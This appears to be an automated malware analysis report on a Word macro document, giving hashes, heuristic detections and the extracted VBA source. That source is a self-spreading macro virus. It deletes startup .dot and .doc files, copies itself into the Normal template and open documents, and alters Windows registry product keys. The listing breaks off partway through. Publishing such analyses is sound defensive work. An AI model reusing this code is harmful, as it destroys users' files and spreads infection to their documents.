Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aeb487db23a8462a…

MALICIOUS

Office (OLE)

42.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ae8b1ebdab3ad242778af13b9975c29d SHA-1: 7e533c5e885dcec45aca7d578e405c537032aaf9 SHA-256: aeb487db23a8462ae6fd6d620b3ec319b2f9e8206fbf2b3907fcc09febd5cbe9
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close. Crucially, it utilizes the Shell() function, a critical indicator of malicious intent. This suggests the macro is designed to execute arbitrary commands, likely to download and execute a second-stage payload. The ClamAV detection name further supports its classification as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6528117-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6528117-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4480 bytes
SHA-256: 1e739726988cf7197c93492df967caed834443461a8dd23f2680ddc906664ba4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aAntiVirus"
'This macro is dedicated to every single hacker
'thank for all the education
'if this macro is beginning to annoying you contact me:
'jonthebest@yahoo.com,..@hotmail,..@geocities,..@hot### or call +62-251-245%0%
'Thank for spreading this macro.
Sub ToolsMacro()
    Application.StatusBar = "Don;t Worry aNtiVirus Macro is loaded"
End Sub
Sub ViewVbCode()
    ToolsMacro
End Sub
Sub FileTemplates()
    ToolsMacro
End Sub
Sub SikatDokumen()
  On Error GoTo Erro
  Application.StatusBar = "Checking Documents...."
  Dim DocOk As Boolean
  Dim Nama As String
  For Each aDoc In Documents
    DocOk = False
    For Each Obj In aDoc.VBProject.VBComponents
        If Obj.Name = "aAntiVirus" Then DocOk = True
        If Obj.Name <> "aAntiVirus" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=aDoc.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=aDoc.FullName, Name:="aAntiVirus", Object:=wdOrganizerObjectProjectItems
    End If
  Next aDoc
Erro:
 If Err.Number = "50289" Then
   Application.StatusBar = "Backing Up File...."
   Selection.WholeStory
   Selection.Copy
   Documents.Add
   Selection.Paste
   Nama = aDoc.FullName
   aDoc.Close
   Kill Nama
   Application.OrganizerCopy Source:=NormalTemplate.FullName, _
   Destination:=ActiveDocument.FullName, Name:="aAntiVirus", Object:=wdOrganizerObjectProjectItems
   ActiveDocument.SaveAs Nama
   Application.StatusBar = "For all do regret, i have to change document and restore as it was as possible, Dear Subscriber - Message from JonTheBest"
   Application.StatusBar = "Done!"
   Exit Sub
 End If
Application.StatusBar = "Done"
End Sub
Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "aAntiVirus" Then NorOk = True
        If Obj.Name <> "aAntiVirus" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="aAntiVirus", Object:=wdOrganizerObjectProjectItems
        NormalTemplate.Save
    End If
End Sub
Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    Application.StatusBar = "Ready to check Document"
    If Dialogs(80).Show <> 0 Then
      SikatDokumen
    End If
    WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
   On Error Resume Next
   If AddIns.Count >= 1 Then AddIns.Unload True
   Kill Options.DefaultFilePath(wdStartupPath) & "\*.dot"
   Kill Options.DefaultFilePath(wdStartupPath) & "\*.doc"
   SikatTemplate
   SikatDokumen
   On Error Resume Next
End Sub
Sub AutoClose()
    SikatDokumen
End Sub
Sub AutoExec()
On Error Resume Next
Dim chri
chri = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProductName")
If Not chri = "JonMMx 2000" Then
   System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProductName") = "JonMMx 2000"
   System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProductID") = "10701-OEM-0010907-06212"
   System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProductKey") = "D4EST-
... (truncated)